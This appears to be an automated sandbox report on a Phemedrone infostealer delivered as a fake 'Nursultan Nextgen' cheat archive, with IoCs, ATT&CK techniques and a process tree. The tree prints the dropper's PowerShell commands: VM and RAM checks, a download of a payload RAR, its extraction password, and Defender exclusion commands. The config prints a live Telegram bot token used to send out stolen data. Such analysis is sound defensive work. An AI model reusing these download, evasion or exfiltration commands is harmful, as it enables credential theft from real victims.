phemedrone | hxxps://disk[.]yandex[.]ru/d/LdNFOFnpJ78Ahw

Resubmissions

23-07-2024 15:48

240723-s8zxpsxfnl 10

22-07-2024 21:16

240722-z4r5maydld 10

Analysis

max time kernel
218s
max time network
220s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
23-07-2024 15:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://disk.yandex.ru/d/LdNFOFnpJ78Ahw

Score

10^/10

phemedrone credential_access defense_evasion execution spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.usercontent.google.com/u/0/uc?id=1uH0vQ_juAop0fqiOEIdPBdq1AMQmvndT&export=download

Extracted

Family

phemedrone

https://api.telegram.org/bot7230260246:AAFy1nkEQHkcEude1v3boXRM_xhzB5HwGJ0/sendDocument

Signatures

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

120 3716 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

3716 powershell.exe
3752 powershell.exe
3584 powershell.exe
1360 powershell.exe
3208 powershell.exe
3320 powershell.exe
Executes dropped EXE 3 IoCs

Processes:

UnRAR.exeoptionsof.exejava8-update.exe

pid process

888 UnRAR.exe
864 optionsof.exe
1756 java8-update.exe
Loads dropped DLL 3 IoCs

Processes:

cmd.exe

pid process

3976 cmd.exe
3976 cmd.exe
3976 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
defense_evasion

Ignore Process Interrupts
T1564.011

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

3108 powershell.exe
3920 powershell.exe
3184 powershell.exe
3480 powershell.exe
2040 powershell.exe
2464 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
120	3716	powershell.exe

pid	process
3716	powershell.exe
3752	powershell.exe
3584	powershell.exe
1360	powershell.exe
3208	powershell.exe
3320	powershell.exe

pid	process
888	UnRAR.exe
864	optionsof.exe
1756	java8-update.exe

pid	process
3976	cmd.exe
3976	cmd.exe
3976	cmd.exe

pid	process
3108	powershell.exe
3920	powershell.exe
3184	powershell.exe
3480	powershell.exe
2040	powershell.exe
2464	powershell.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3720 timeout.exe
3904 timeout.exe
Modifies registry class 1 IoCs

Processes:

firefox.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000_Classes\Local Settings firefox.exe
NTFS ADS 1 IoCs

Processes:

firefox.exe

description ioc process

File created C:\Users\Admin\Downloads\Nursultan_Nextgen.zip:Zone.Identifier firefox.exe

pid	process
3720	timeout.exe
3904	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000_Classes\Local Settings	firefox.exe

description	ioc	process
File created	C:\Users\Admin\Downloads\Nursultan_Nextgen.zip:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeoptionsof.exepowershell.exe

pid	process
2040	powershell.exe
2464	powershell.exe
3108	powershell.exe
3208	powershell.exe
3320	powershell.exe
3584	powershell.exe
3716	powershell.exe
3920	powershell.exe
1360	powershell.exe
864	optionsof.exe
3184	powershell.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe
864	optionsof.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

firefox.exe7zG.exeAUDIODG.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2704	firefox.exe
Token: SeDebugPrivilege	2704	firefox.exe
Token: SeDebugPrivilege	2704	firefox.exe
Token: SeRestorePrivilege	1028	7zG.exe
Token: 35	1028	7zG.exe
Token: SeSecurityPrivilege	1028	7zG.exe
Token: SeSecurityPrivilege	1028	7zG.exe
Token: 33	3832	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3832	AUDIODG.EXE
Token: 33	3832	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3832	AUDIODG.EXE
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeIncreaseQuotaPrivilege	3848	WMIC.exe
Token: SeSecurityPrivilege	3848	WMIC.exe
Token: SeTakeOwnershipPrivilege	3848	WMIC.exe
Token: SeLoadDriverPrivilege	3848	WMIC.exe
Token: SeSystemProfilePrivilege	3848	WMIC.exe
Token: SeSystemtimePrivilege	3848	WMIC.exe
Token: SeProfSingleProcessPrivilege	3848	WMIC.exe
Token: SeIncBasePriorityPrivilege	3848	WMIC.exe
Token: SeCreatePagefilePrivilege	3848	WMIC.exe
Token: SeBackupPrivilege	3848	WMIC.exe
Token: SeRestorePrivilege	3848	WMIC.exe
Token: SeShutdownPrivilege	3848	WMIC.exe
Token: SeDebugPrivilege	3848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3848	WMIC.exe
Token: SeRemoteShutdownPrivilege	3848	WMIC.exe
Token: SeUndockPrivilege	3848	WMIC.exe
Token: SeManageVolumePrivilege	3848	WMIC.exe
Token: 33	3848	WMIC.exe
Token: 34	3848	WMIC.exe
Token: 35	3848	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3848	WMIC.exe
Token: SeSecurityPrivilege	3848	WMIC.exe
Token: SeTakeOwnershipPrivilege	3848	WMIC.exe
Token: SeLoadDriverPrivilege	3848	WMIC.exe
Token: SeSystemProfilePrivilege	3848	WMIC.exe
Token: SeSystemtimePrivilege	3848	WMIC.exe
Token: SeProfSingleProcessPrivilege	3848	WMIC.exe
Token: SeIncBasePriorityPrivilege	3848	WMIC.exe
Token: SeCreatePagefilePrivilege	3848	WMIC.exe
Token: SeBackupPrivilege	3848	WMIC.exe
Token: SeRestorePrivilege	3848	WMIC.exe
Token: SeShutdownPrivilege	3848	WMIC.exe
Token: SeDebugPrivilege	3848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3848	WMIC.exe
Token: SeRemoteShutdownPrivilege	3848	WMIC.exe
Token: SeUndockPrivilege	3848	WMIC.exe
Token: SeManageVolumePrivilege	3848	WMIC.exe
Token: 33	3848	WMIC.exe
Token: 34	3848	WMIC.exe
Token: 35	3848	WMIC.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeIncreaseQuotaPrivilege	760	WMIC.exe
Token: SeSecurityPrivilege	760	WMIC.exe
Token: SeTakeOwnershipPrivilege	760	WMIC.exe
Token: SeLoadDriverPrivilege	760	WMIC.exe
Token: SeSystemProfilePrivilege	760	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

firefox.exe7zG.exe

pid process

2704 firefox.exe
2704 firefox.exe
2704 firefox.exe
2704 firefox.exe
2704 firefox.exe
1028 7zG.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

firefox.exe

pid process

2704 firefox.exe
2704 firefox.exe
2704 firefox.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

firefox.exe

pid process

2704 firefox.exe
2704 firefox.exe
2704 firefox.exe

pid	process
2704	firefox.exe
2704	firefox.exe
2704	firefox.exe
2704	firefox.exe
2704	firefox.exe
1028	7zG.exe

pid	process
2704	firefox.exe
2704	firefox.exe
2704	firefox.exe

pid	process
2704	firefox.exe
2704	firefox.exe
2704	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

firefox.exefirefox.exe

description	pid	process	target process
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 1792 wrote to memory of 2704	1792	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2288	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2288	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2288	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 2580	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 1972	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 1972	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 1972	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 1972	2704	firefox.exe	firefox.exe
PID 2704 wrote to memory of 1972	2704	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://disk.yandex.ru/d/LdNFOFnpJ78Ahw"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://disk.yandex.ru/d/LdNFOFnpJ78Ahw
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.0.1931502838\301328947" -parentBuildID 20221007134813 -prefsHandle 1240 -prefMapHandle 1232 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {183d946b-d755-4bae-b74e-bdef77b00f92} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 1304 108d8b58 gpu
    3⤵
    PID:2288
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.1.268190023\529240484" -parentBuildID 20221007134813 -prefsHandle 1504 -prefMapHandle 1500 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e896a94-921d-4d75-a84e-f36dba10b4f5} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 1516 10806258 socket
    3⤵
    PID:2580
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.2.1031112717\2042142835" -childID 1 -isForBrowser -prefsHandle 2120 -prefMapHandle 2016 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d510f124-3c2d-480f-8806-bf05f928dab8} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 1064 1aba8558 tab
    3⤵
    PID:1972
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.3.853359533\1674234665" -childID 2 -isForBrowser -prefsHandle 2900 -prefMapHandle 2896 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8db49410-86b8-4a5e-ab78-f5aa0a28c484} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 2912 e61958 tab
    3⤵
    PID:2396
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.4.844045289\16821363" -childID 3 -isForBrowser -prefsHandle 3644 -prefMapHandle 3516 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {055b64d3-d09e-4a3c-847d-b49ab6b69c69} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 3696 1ac9d658 tab
    3⤵
    PID:2028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.5.262263900\1115344847" -childID 4 -isForBrowser -prefsHandle 3804 -prefMapHandle 3808 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21969012-00a2-458c-a822-6feed6cf4651} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 3792 1f4c6b58 tab
    3⤵
    PID:2032
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.6.2090437113\346343348" -childID 5 -isForBrowser -prefsHandle 3968 -prefMapHandle 3972 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ea3f3c6e-a12f-4847-85fb-7960958f19fd} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 3956 1f4c7158 tab
    3⤵
    PID:1336
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2704.7.66890006\1722799227" -childID 6 -isForBrowser -prefsHandle 4320 -prefMapHandle 4296 -prefsLen 26531 -prefMapSize 233444 -jsInitHandle 832 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b01cc4b-73d7-408c-b4cb-a8ae103aa21a} 2704 "\\.\pipe\gecko-crash-server-pipe.2704" 4376 22ded558 tab
    3⤵
    PID:660

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Nursultan_Nextgen\" -spe -an -ai#7zMap14355:96:7zEvent29139
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1028

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0xc4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3832

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Nursultan_Nextgen\Инструкция.txt
1⤵
PID:3884

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
1⤵
- Loads dropped DLL
PID:3976
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:2008
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:4080
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:304
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:1672
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2464
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:3104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3320
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:3412
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:3500
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:3572
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3584
- C:\Windows\system32\wscript.exe
  wscript /b
  2⤵
  PID:3688
- C:\Windows\system32\timeout.exe
  timeout 0
  2⤵
  - Delays execution with timeout.exe
  PID:3720
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3708
- C:\Windows\system32\doskey.exe
  doskey CD=RECOVER
  2⤵
  PID:3680
- C:\Windows\system32\doskey.exe
  doskey TYPE=ROBOCOPY
  2⤵
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://drive.usercontent.google.com/u/0/uc?id=1uH0vQ_juAop0fqiOEIdPBdq1AMQmvndT&export=download', 'C:\Users\Admin\AppData\Local\Temp\java.rar')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
  2⤵
  PID:3816
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer /value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3848
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:3948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3920
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:4080
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
  2⤵
  PID:2764
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer /value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:760
- C:\Windows\system32\findstr.exe
  findstr /i "echo" "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat"
  2⤵
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1360
- C:\Windows\system32\doskey.exe
  doskey TITLE=RENAME
  2⤵
  PID:2236
- C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\assets\UnRAR.exe
  "C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\assets\unrar.exe" x -p1512okul -o+ "C:\Users\Admin\AppData\Local\Temp\java.rar" "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF"
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\optionsof.exe
  "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\optionsof.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:864
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 864 -s 844
    3⤵
    PID:2356
- C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\java8-update.exe
  "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\java8-update.exe"
  2⤵
  - Executes dropped EXE
  PID:1756
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3752
- C:\Windows\system32\mshta.exe
  mshta
  2⤵
  PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
  2⤵
  PID:3104
